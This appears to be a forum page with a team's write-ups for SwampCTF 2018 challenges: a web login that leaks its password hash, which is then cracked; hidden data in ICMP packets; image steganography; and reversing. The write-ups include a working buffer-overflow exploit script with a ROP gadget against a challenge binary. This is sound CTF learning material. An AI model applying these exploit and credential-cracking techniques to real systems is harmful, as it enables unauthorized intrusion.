9

Let's participate in SwampCTF 2018.

SwampCTF is a Jeopardy-style CTF and lasts 48 hours. Challenges are from a range of categories like Cryptography, Forensics, Reverse Engineering, Binary Exploitation, etc.

You can find additional details on the CTFtime event page.


General info:

  • We compete as team sec.se.
  • We communicate over Slack. To get an invitation to the group you can contact any member of the team. (We will need to know an email address to send the invitation to and a reference to your Security.SE profile.)
  • For questions, join us in the public chat room.

Good luck everyone!


We ranked 136th with 1399 points!

ranking and category breakdown

Thanks everyone!

| |
5

Web The Vault

Challenge description:

Has it been days? Weeks? You can't remember how long you've been standing at the door to the vault. You can't remember the last time you slept or ate, or had a drop of water, for that matter. But all of that is insignificant, in the presence of the untold fortunes that must lie just beyond the threshold.

But the door. It won't budge. It says it will answer only to the DUNGEON_MASTER. Have you not shown your worth? But more than that, It demands to know your secrets.

Nothing you've tried has worked. You've pled, begged, cursed, but the door holds steadfast, harshly judging your failed requests.

But with each failed attempt you start to notice more and more that there's something peculiar about the way the door responds to you.

Maybe the door knows more than it's letting on. ...Or perhaps it's letting on more than it knows?

NOTE: DO NOT USE AUTOMATED TOOLS

Connect http://chal1.swampctf.com:2694


Solution:

We are presented with a login screen and since this is a web challenge, I tend to use my favourite http proxy: Burp. This allows me to view all traffic received/sent from the webserver. Sending foobar as username and bazqux as password, the UI pops up an alert stating "invalid credentials". Burp however intercepted the following response:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>No such user: foobar</pre>
</body>
</html>

There's some JavaScript magic in the webpage that of course handles this. The website and the challenge description both state that only the DUNGEON_MASTER may enter the vault, let's try that as username:

only dungeon master may enter

Wrong credentials again but the response was different this time:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>test_hash [972c5e1203896784a7cf9dd60acd443a1065e19ad5f92e59a9180c185f065c04]
 does not match 
real_hash[40f5d109272941b79fdf078a0e41477227a9b4047ca068fff6566104302169ce]</pre>
</body>
</html>

The passwords are hashed but showing the expected hash in the response is definitely not right. Turns out that the hashing algorithm is SHA256. Next step is to figure out the original value of the hash. Since hashing algorithms are one way, there's no way to turn back unless we use bruteforce, rainbow tables or just google for websites with huge databases that have done this before. Some sites didn't contain the hash but the following did: https://crackstation.net/ . The original value for hash 40f5d109272941b79fdf078a0e41477227a9b4047ca068fff6566104302169ce is smaug123.

Get flag!

get flag

Btw, here's a nice tool for hash identification: https://github.com/psypanda/hashID

| |
5

Forensics Orcish

Challenge description:

An army of orcs was spotted not too far from town. We were listening in on some of their communications but we have not been able to find anything containing their battle plans. Maybe they are disguising the messages some how..

data.pcap


Solution:

We were given a pcap file and we had to somehow find hidden messages. The statistics tools of wireshark can give some great general insight of the traffic. I usually start from there and view the "Conversations", "Endpoints" and if there's HTTP traffic, I view the requests. I also try to scroll through the packets very fast and try to see if there's any anomaly:

statistics tools

While scrolling through the packets, there were a lot of HTTP traffic. So I viewed the HTTP requests under Statistics:

http requests

Some update/ubuntu/steam related stuff, not very interesting. Moving on to the end of the captured packets, I noticed a stream of (malformed?) ICMP packets:

malformed icmp packets

The first ICMP packet had a type of 71, the second one had a type of 73 and the third had a type of 70, followed by 56 and 57. Does this sound familiar? :_)

ICMP types to chr

There's probably a GIF file hidden in the ICMP packets! Since I didn't want to extract all bytes by hand I wrote a small script with pyshark:

import pyshark

cap = pyshark.FileCapture('./data.pcap', display_filter='icmp')
data = ''

for packet in cap:
    data += chr(int(packet['icmp'].type))

with open('result.gif', 'w') as f:
    f.write(data)
print 'done'

Unfortunately the GIF file was corrupt and couldn't view it, but it contained lol nice job?!

lol nice job

I must be close I thought. After analyzing the packets, I noticed that most of the ICMP packets were sent by Cybertan c8:3d:d4:7a:f3:47 but some were sent by Cisco. It turns out that the router/recipient was replying to some of the packets. I decided to filter the packets to only include packets from c8:3d:d4:7a:f3:47:

import pyshark

cap = pyshark.FileCapture('./data.pcap', display_filter='icmp')
data = ''

for packet in cap:
    if packet.eth.src == 'c8:3d:d4:7a:f3:47':
        data += chr(int(packet['icmp'].type))

with open('done.gif', 'w') as f:
    f.write(data)
print 'done'

This time, the GIF file was not corrupt!

healthy gif file

| |
4

Forensics Wild Night Out

Challenge description:

That sure was a wild night at the old tavern. Good thing someone was able to draw the scene for us to remember. But the more I look at the picture, the more it seems that something isn't quite right...

tavern night


Solution:

Our team member @Tom K. ran all kinds of tools against the image (foremost, binwalk, stegsolve etc.) and nothing came up. The description kind of hinted to look at the picture, so what else to do than use GIMP and try to mess with the colors?

tavern night edited

The flag could be read at the top of the image.

| |
4

Pwning Apprentice's return

Challenge description:

For one such as yourself, apprentice to the arts of time manipulation, you must pass this first trial with a dreadful creature.

Connect: nc chal1.swampctf.com 1802

-=Created By: TobalJackson=-

return


Solution:

We were given an unstripped 32-bit ELF binary:

$ file return 
return: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=5e510acf107cc9f91edd02f76f14598fcb30de6b, not stripped

First thing to know when pwning a binary is to check the security measures enabled:

$ checksec return 
[*] '/home/vagrant/sharedFolder/ctf/swamp/apprentice_return/return'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

So the most important thing to keep in mind is that the NX bit is set which stands for No-eXecutable. Let's open the binary in Binary Ninja. The main function is quite straightforward, it calls the doBattle() function, after that it prints some text:

main disas

I guess the doBattle() is the function we're supposed to pwn. However, it is worth noticing another interesting function in the functions list called slayTheBeast():

slayTheBeast disas

This function basically cats the flag for us. Which means we probably need to somehow jump to this function. Let's examine the doBattle() function:

doBattle disas

The function prints some text, then reads a max of 50 characters. A weird thing to notice is that it performs a check for the value at offset 42 from the read characters and compares it with 0x08048595. This corresponds to the end of the doBattle() function:

0x08048595      leave
0x08048596      ret

After playing with the binary with gdb, it becomes clear that the doBattle() function suffers from a buffer overflow vulnerability. The offset to overwrite EIP is 42. There was a problem however when using the vanilla "payload testing" method: A * 42 + BBBB.

The check mentioned previously will basically let us fail since BBBB translates to 0x42424242 which is bigger than 0x08048595, so I changed the payload to A * 42 + \x01 * 4:

testing the payload

After stepping a bit, it seems we're on the right path:

right offset

Now we need to jump to slayTheBeast() function, however this function resides at address 0x080485db. The previously mentioned check will prevent us from jumping to it directly since the address to jump to needs to be smaller than 0x08048595. Let's search for some ROP gadgets using peda:

gdb-peda$ ropgadget
ret = 0x804835a
popret = 0x8048371
pop2ret = 0x804868a
pop4ret = 0x8048688
pop3ret = 0x8048689
addesp_12 = 0x804836e
addesp_16 = 0x8048465

The ret at 0x0804835a will do the job since it's smaller than 0x08048595 and it will allow us to return/jump to the slayTheBeast() function which will follow right after it. Our final payload will look like this: A * 42 + ret + slayTheBeast. In practice, this simple Python script will do the job:

from struct import pack

payload = 'A' * 42                 # offset
payload += pack('<I', 0x804835a)   # ret gadget to bypass check (addr must be lower than 0x8048595)
payload += pack('<I', 0x080485db)  # slayTheBeast() addr

print payload

It's important when using cat to keep stdin open with -:

get flag

| |
4

Reversing Dragon's horde

Challenge description:

You are a member of the dragon slayer's guild within your town. Word comes to the guild of a dragon seen in a nearby mountain range. You and your party decide to go out and slay the beast. There is surely great wealth and glory to be obtained. But be careful, dragons can be tricky creatures to deal with.

adventure


Solution:

We were given a 32-bit ELF file:

$ file adventure
adventure: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ed180ea5005352722a4eacb827629c058c89e56e, not stripped

I tried to run it but got:

$ ./adventure 
./adventure: /usr/lib/i386-linux-gnu/libstdc++.so.6: version `GLIBCXX_3.4.21' not found (required by ./adventure)

Spent a few minutes trying to fix this error and then thought "Since it's a 32-bit binary, let's drop it in retdec.com".

Retdec is an online decompilation service, it currently only supports 32-bit binaries. The decompilation is not perfect (a pretty hard problem) but it's enough for us. Here's an excerpt of the C decompiled file:

//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2018 Retargetable Decompiler <info@retdec.com>
//
// ------------------------ Functions -------------------------

// Address range: 0x8048990 - 0x80489bf
void __ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6___GLIBCXX_3_4(void) {
    // 0x8048990
    return;
}

// Address range: 0x8048b0b - 0x8048b2c
// Demangled:     foo1()
int32_t _Z4foo1v(void) {
    // 0x8048b0b
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 102);
    return 102;
}

// Address range: 0x8048b2d - 0x8048b4e
// Demangled:     foo2()
int32_t _Z4foo2v(void) {
    // 0x8048b2d
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 108);
    return 108;
}

// Address range: 0x8048b4f - 0x8048b70
// Demangled:     foo3()
int32_t _Z4foo3v(void) {
    // 0x8048b4f
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 97);
    return 97;
}

// Address range: 0x8048b71 - 0x8048b92
// Demangled:     foo4()
int32_t _Z4foo4v(void) {
    // 0x8048b71
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 103);
    return 103;
}

// Address range: 0x8048b93 - 0x8048bb4
// Demangled:     foo5()
int32_t _Z4foo5v(void) {
    // 0x8048b93
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 123);
    return 123;
}

// Address range: 0x8048bb5 - 0x8048bd6
// Demangled:     foo6()
int32_t _Z4foo6v(void) {
    // 0x8048bb5
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 114);
    return 114;
}

// Address range: 0x8048bd7 - 0x8048bf8
// Demangled:     foo7()
int32_t _Z4foo7v(void) {
    // 0x8048bd7
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 51);
    return 51;
}

// Address range: 0x8048bf9 - 0x8048c1a
// Demangled:     foo8()
int32_t _Z4foo8v(void) {
    // 0x8048bf9
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 118);
    return 118;
}

// Address range: 0x8048c1b - 0x8048c3c
// Demangled:     foo9()
int32_t _Z4foo9v(void) {
    // 0x8048c1b
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 95);
    return 95;
}

// Address range: 0x8048c3d - 0x8048c5e
// Demangled:     foo10()
int32_t _Z5foo10v(void) {
    // 0x8048c3d
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 49);
    return 49;
}

// Address range: 0x8048c5f - 0x8048c80
// Demangled:     foo11()
int32_t _Z5foo11v(void) {
    // 0x8048c5f
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 116);
    return 116;
}

// Address range: 0x8048c81 - 0x8048ca2
// Demangled:     foo12()
int32_t _Z5foo12v(void) {
    // 0x8048c81
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 95);
    return 95;
}

// Address range: 0x8048ca3 - 0x8048cc4
// Demangled:     foo13()
int32_t _Z5foo13v(void) {
    // 0x8048ca3
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 117);
    return 117;
}

// Address range: 0x8048cc5 - 0x8048ce6
// Demangled:     foo14()
int32_t _Z5foo14v(void) {
    // 0x8048cc5
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 112);
    return 112;
}

// Address range: 0x8048ce7 - 0x8048d08
// Demangled:     foo15()
int32_t _Z5foo15v(void) {
    // 0x8048ce7
    _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEc((int32_t)&g5, 125);
    return 125;
}

// Address range: 0x8048d09 - 0x8049422
int main(int argc, char ** argv) {
 // redacted
}

We have foo[1-15] functions and a main function. The foo functions return certain values. If we convert these integers to their respective ASCII values, we get the flag.

The above approach is a bit lame, so let's solve this in another way with radare2. r2 is a reverse engineering framework, it can be automated with r2pipe. So I wrote the following script in order to extract the flag from the functions:

import r2pipe

print("[+] Opening binary...")
r2 = r2pipe.open("./adventure")

print("[+] Analysing the binary...")
r2.cmd("aaa")

print("[+] Looping through foo[1-15] functions...")
flag = ''
for i in range(1, 16):
    print("[+] Disassembling foo%s function..." % i)
    instructions = r2.cmdj("pdj 4 @sym.foo" + str(i))  # Get first 4 assembled instructions
    opcode = instructions[-1]['opcode'].strip()  # Get last instruction
    character = chr(int(opcode[-4:], 16))  # Convert hex character from opcode to ASCII
    print("Opcode: " + opcode + ", chr: " + character)
    flag += character

print("flag: " + flag)

Here's the script's output:

r2 rocks

| |
  • Oh and if someone knows how to fix the glibc error in the beginning I would be grateful! I'm using a vagrant box called cgpwn and the following answer didn't work. – HamZa Apr 1 '18 at 12:32

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .